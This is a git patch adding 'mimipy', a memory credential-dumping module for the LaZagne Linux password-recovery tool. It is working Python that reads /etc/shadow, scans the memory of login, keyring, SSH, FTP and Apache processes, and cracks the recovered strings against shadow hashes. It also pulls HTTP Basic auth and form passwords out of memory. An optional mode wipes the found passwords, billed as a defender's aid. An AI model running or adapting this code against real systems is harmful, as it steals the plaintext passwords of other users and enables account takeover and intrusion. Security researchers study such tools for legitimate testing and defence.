From 4151304ca634b8a1eddd8bed37e4e177c7edc7d9 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 27 Apr 2017 16:34:24 +0200 Subject: [PATCH] new module mimipy (system pwd retrieved from memory) --- Linux/lazagne/softwares/memory/mimipy.py | 33 ++ .../softwares/memory/mimipy_functions.py | 352 ++++++++++++++++++ 2 files changed, 385 insertions(+) create mode 100644 Linux/lazagne/softwares/memory/mimipy.py create mode 100755 Linux/lazagne/softwares/memory/mimipy_functions.py diff --git a/Linux/lazagne/softwares/memory/mimipy.py b/Linux/lazagne/softwares/memory/mimipy.py new file mode 100644 index 00000000..aea4cb6a --- /dev/null +++ b/Linux/lazagne/softwares/memory/mimipy.py @@ -0,0 +1,33 @@ +# Special thanks to @n1nj4sec and @huntergregal for their work +# Their code have been used to build this module +from lazagne.config.write_output import print_debug +from lazagne.config.moduleInfo import ModuleInfo +from mimipy_functions import mimipy_loot_passwords +import os + +class Mimipy(ModuleInfo): + def __init__(self): + options = {'command': '--mimi', 'action': 'store_true', 'dest': 'mimipy', 'help': 'System passwords retrieved from memory'} + ModuleInfo.__init__(self, 'mimipy', 'memory', options) + + def root_access(self): + if os.getuid() != 0: + return False + return True + + def run(self, software_name = None): + if not self.root_access(): + print_debug('INFO', 'You need more privileges (run it with sudo)\n') + return + + opt="nsrx" + pwdFound = [] + for t, process, user, passwd in mimipy_loot_passwords(optimizations=opt): + pwdFound.append( + { + 'Process' : str(process), + 'Login' : str(user), + 'Password' : str(passwd), + } + ) + return pwdFound \ No newline at end of file diff --git a/Linux/lazagne/softwares/memory/mimipy_functions.py b/Linux/lazagne/softwares/memory/mimipy_functions.py new file mode 100755 index 00000000..11624e3d --- /dev/null +++ b/Linux/lazagne/softwares/memory/mimipy_functions.py @@ -0,0 +1,352 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu) +# mimipy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms + + +""" + Author: Nicolas VERDIER (contact@n1nj4.eu) + Original idea from @huntergregal (https://github.com/huntergregal/mimipenguin) + This is a port in python of @huntergregal's bash script mimipenguin.sh with some improvments : + - possibility to clean passwords found from memory + - possibility to search for any trace of your password in all your processes + - possibility to scan a process by pid + - add some additional processes to scan like lightDM + You can find the bleeding edge version of mimipy here : https://github.com/n1nj4sec/mimipy + +""" +import sys, os +import urllib2 +import crypt +import re +import argparse +import logging +import time +import random +import traceback +import base64 + +class VersionError(Exception): + pass + +try: + from memorpy import * + try: + from memorpy.version import version as memorpy_version + except: + memorpy_version=(0,0) + if memorpy_version<(1,5): + logging.warning("memorpy version is too old, please update !") + raise VersionError("memorpy version is too old, please update !") + +except ImportError as e: + logging.warning("%s\ninstall with: \"pip install https://github.com/n1nj4sec/memorpy/archive/master.zip\""%e) + raise e + +LOOK_AFTER_SIZE=1000*10**3 +LOOK_BEFORE_SIZE=500*10**3 + + + + +def colorize(s, color="grey"): + if s is None: + return "" + s=str(s) + res=s + COLOR_STOP="\033[0m" + if color.lower()=="random": + color=random.choice(["blue","red","green","yellow"]) + if color.lower()=="blue": + res="\033[34m"+s+COLOR_STOP + if color.lower()=="red": + res="\033[31m"+s+COLOR_STOP + if color.lower()=="green": + res="\033[32m"+s+COLOR_STOP + if color.lower()=="yellow": + res="\033[33m"+s+COLOR_STOP + if color.lower()=="grey": + res="\033[37m"+s+COLOR_STOP + if color.lower()=="darkgrey": + res="\033[1;30m"+s+COLOR_STOP + return res + + +def get_shadow_hashes(): + hashes=[] + with open('/etc/shadow', 'rb') as f: + for line in f: + tab=line.split(":") + if len(tab[1])>10: + hashes.append((tab[0],tab[1])) + return hashes + + +def memstrings(mw, start_offset=None, end_offset=None, optimizations=''): + for _,x in mw.mem_search(r"([\x20-\x7e]{6,50})[^\x20-\x7e]", ftype='re', start_offset=start_offset, end_offset=end_offset, optimizations=optimizations): + yield x + + + +passwords_found=set() +def password_found(desc, process, user, password): + global passwords_found + if (process, user, password) not in passwords_found: + passwords_found.add((process, user, password)) + print colorize("%s : "%desc, color="green") + print colorize("\t- Process\t: %s"%process, color="grey") + print colorize("\t- Username\t: %s"%user, color="grey") + print colorize("\t- Password\t: %s"%password, color="grey") + + +def password_list_match(password_list, near): + for passwd in password_list: + if near.search(passwd): + return True + return False + +def cleanup_string(s): + ns="" + for c in s: + if ord(c)<0x20 or ord(c)>0x7e: + break + ns+=c + return ns + +def get_strings_around(mw, addr, string_at_addr, max_strings=30): + strings_list=[] + logging.debug("looking for strings around %s from %s to %s"%(hex(addr), int(addr-LOOK_BEFORE_SIZE), int(addr-LOOK_AFTER_SIZE))) + for o in memstrings(mw, start_offset=int(addr-LOOK_BEFORE_SIZE), end_offset=int(addr+LOOK_AFTER_SIZE)): + s=cleanup_string(o.read(type='string', maxlen=51, errors='ignore')) + strings_list.append(s) + if len(strings_list)>=30 and string_at_addr in strings_list[max_strings/2]: + break + elif len(strings_list)>30: + strings_list=strings_list[1:] + return strings_list + +def search_password(optimizations='nsrx'): + import getpass + mypasswd=getpass.getpass("search your password: ") + for procdic in Process.list(): + name=procdic["name"] + pid=int(procdic["pid"]) + if pid==os.getpid(): + continue + if "gnome-terminal-server" in name: + continue #avoid false positives when password has been printed to screen by this script x) + logging.info("Searching pass in %s (%s)"%(name, pid)) + try: + with MemWorker(pid=pid) as mw: + #for _,x in mw.mem_search(r"\$[0-9][a-z]?\$(?:[a-zA-Z0-9\./\-\+]{4,}\$)?[a-zA-Z0-9\./\-\+]{20,}", ftype='re'): + # h=x.read(type='string', maxlen=300) + # print "hash found in %s (%s) : %s"%(name, pid, h) + # strings_list=get_strings_around(mw, x, h) + # print "strings found around : %s"%strings_list + # if not strings_list: + # x.dump(before=200, size=400) + for x in mw.mem_search(mypasswd, optimizations=optimizations): + print colorize("[+] password found in process %s (%s) : %s !"%(name, pid, x), color="green") + x.dump(before=1000, size=2000) + print "strings found around : " + strings_list=get_strings_around(mw, x, mypasswd) + print "strings found around : %s"%strings_list + #print "strings where the password's address is referenced :" + #for _,o in mw.search_address(x): + # o.dump(before=200, size=400) + #print "done" + + except Exception as e: + logging.error("Error scanning process %s (%s): %s"%(name, pid, e)) + logging.debug(traceback.format_exc()) + +def group_search(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'): + logging.info("Analysing process %s (%s) for passwords ..."%(name, pid)) + with MemWorker(name=name, pid=pid) as mw: + for service, x in mw.mem_search(rule["groups"], ftype='ngroups', optimizations=optimizations): + user="" + password="" + if "basic" in x: + try: + user, password=base64.b64decode(x["basic"]).split(":",1) + except: + pass + elif "Login" in x and "Password" in x: + user=x["Login"] + password=x["Password"] + else: + password=str(x) + + yield (rule["desc"]+" "+service, user, password) + + +def test_shadow(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'): + logging.info("Analysing process %s (%s) for shadow passwords ..."%(name, pid)) + password_tested=set() #to avoid hashing the same string multiple times + with MemWorker(name=name, pid=pid) as mw: + scanned_segments=[] + for _,match_addr in mw.mem_search(rule["near"], ftype='re', optimizations=optimizations): + password_list=[] + total=0 + start=int(match_addr-LOOK_AFTER_SIZE) + end=int(match_addr+LOOK_AFTER_SIZE) + for s,e in scanned_segments: + if end < s or start > e: + continue #no collision + elif start >=s and e >= start and end >= e: + logging.debug("%s-%s reduced to %s-%s"%(hex(start), hex(end), hex(e), hex(end))) + start=e-200 #we only scan a smaller region because some of it has already been scanned + logging.debug("looking between offsets %s-%s"%(hex(start),hex(end))) + scanned_segments.append((start, end)) + for x in memstrings(mw, start_offset=start, end_offset=end, optimizations=optimizations): + passwd=cleanup_string(x.read(type='string', maxlen=51, errors='ignore')) + total+=1 + password_list.append(passwd) + if len(password_list)>40: + password_list=password_list[1:] + if password_list_match(password_list, rule["near"]): + for p in password_list: + if p not in password_tested: + password_tested.add(p) + for user, h in shadow_hashes: + if crypt.crypt(p, h) == h: + yield (rule["desc"], user, p) + if clean: + logging.info("cleaning password from memory in proc %s at offset: %s ..."%(name, hex(x))) + x.write("x"*len(p)) +shadow_hashes=[] +def mimipy_loot_passwords(clean=False, optimizations='nsrx'): + global shadow_hashes + shadow_hashes=get_shadow_hashes() + for procdic in Process.list(): + name=procdic["name"] + pid=int(procdic["pid"]) + for rule in rules: + if re.search(rule["process"], name): + start_time=time.time() + try: + for t, u, p in rule["func"](name, pid, rule, clean=clean, optimizations=optimizations): + yield (t, name, u, p) + except Exception as e: + logging.warning("[-] %s"%e) + logging.debug(traceback.format_exc()) + finally: + logging.info("Process %s analysed in %s seconds"%(name, time.time()-start_time)) + +HTTP_AUTH_REGEX = [ + ("Basic", re.compile(r"(?:WWW-|Proxy-)?Authorization:\s+Basic\s+(?P[a-zA-Z0-9/\+]+={0,3})", re.IGNORECASE)), #TODO: digest, ntlm, ... hashes are still nice + ("GET/POST", re.compile(r"(:?e?mail(?:_?adress)?|log(?:in)?|user(?:name)?|session_key|user%5Bemail%5D)=(?P[a-zA-Z0-9%_+*.:-]{0,25})&.{0,10}?(?:[a-z]{1,10}_|user)?(?:pa?s?s?w?o?r?d?|mdp|%5Bpassword%5D)=(?P[a-zA-Z0-9%_+*.:-]{0,25})"), re.IGNORECASE) +] + +rules = [ + { + "desc" : "[SYSTEM - GNOME]", + "process" : r"gnome-keyring-daemon|gdm-password|gdm-session-worker", + "near" : r"libgcrypt\.so\..+|libgck\-1\.so\.0|_pammodutil_getpwnam_|gkr_system_authtok", + "func" : test_shadow, + }, + { + "desc" : "[SYSTEM - LightDM]", # Ubuntu/xubuntu login screen :) https://doc.ubuntu-fr.org/lightdm + "process" : r"lightdm", + "near" : r"_pammodutil_getpwnam_|gkr_system_authtok", + "func" : test_shadow, + }, + { + "desc" : "[SYSTEM - SSH Server]", + "process" : r"/sshd$", + "near" : r"sudo.+|_pammodutil_getpwnam_", + "func" : test_shadow, + }, + { + "desc" : "[SSH Client]", + "process" : r"/ssh$", + "near" : r"sudo.+|/tmp/ICE-unix/[0-9]+", + "func" : test_shadow, + }, + { + "desc" : "[SYSTEM - VSFTPD]", + "process" : r"vsftpd", + "near" : r"^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$", + "func" : test_shadow, + }, + { + "desc" : "[HTTP]", + "process" : r"/apache2", + "func" : group_search, + "groups" : HTTP_AUTH_REGEX, + }, +# { +# "desc" : "[Browser]", +# "process" : r"firefox|iceweasel|chromium|chrome", +# "func" : group_search, +# "groups" : HTTP_AUTH_REGEX, +# }, +] + +REGEX_TYPE=type(re.compile("^plop$")) +#precompile regexes to optimize speed +for x in rules: + if "near" in x: + if type(x["near"])!=REGEX_TYPE: + x["near"]=re.compile(x["near"]) + if "process" in x: + if type(x["process"])!=REGEX_TYPE: + x["process"]=re.compile(x["process"]) + +if __name__=="__main__": + parser = argparse.ArgumentParser(description=""" + mimipy can loot passwords from memory or overwrite them to mitigate mimipenguin\'s dumps ! + + Author: Nicolas VERDIER (contact@n1nj4.eu) + orginal mimipenguin.sh script and idea from @huntergregal + Bleeding Edge version: https://github.com/n1nj4sec/mimipy + + """, formatter_class=argparse.RawTextHelpFormatter) + parser.add_argument('--clean', action='store_true', help='@blueteams protect yourself and clean found passwords from memory ! You might want to regularly run this on your workstation/servers') + parser.add_argument('-v', '--verbose', action='store_true', help='be more verbose !') + parser.add_argument('-n', '--no-optimize', action='store_true', help='disable optimisations (search the whole memory whatever region perms are) (slower)') + parser.add_argument('-p', '--pid', type=int, help='choose the process\'s pid to scan instead of automatic selection') + parser.add_argument('--search-password', action='store_true', help='prompt for your password and search it in all your processes !.') + args = parser.parse_args() + + #logging.basicConfig(filename='example.log', level=logging.DEBUG) + if args.verbose: + logging.basicConfig(stream=sys.stderr, level=logging.INFO) + else: + logging.basicConfig(stream=sys.stderr, level=logging.WARNING) + + total_time=time.time() + + if os.geteuid()!=0: + logging.error("mimipy needs root ;)") + exit(1) + + opt="nsrx" + if args.no_optimize: + logging.info("Optimizations disabled") + opt='' + + if args.search_password: + search_password(optimizations=opt) + exit(0) + + if args.pid: + for procdic in Process.list(): + name=procdic["name"] + pid=int(procdic["pid"]) + if pid==args.pid: + try: + start_time=time.time() + for rule in rules: + rule["func"](name, pid, rule, clean=args.clean, optimizations=opt) + except Exception as e: + logging.warning("[-] %s"%e) + finally: + logging.info("Process %s analysed in %s seconds"%(name, time.time()-start_time)) + else: + for t, process, u, passwd in mimipy_loot_passwords(optimizations=opt, clean=args.clean): + password_found(t, process, u, passwd) + logging.info("Script executed in %s seconds"%(time.time()-total_time)) + + +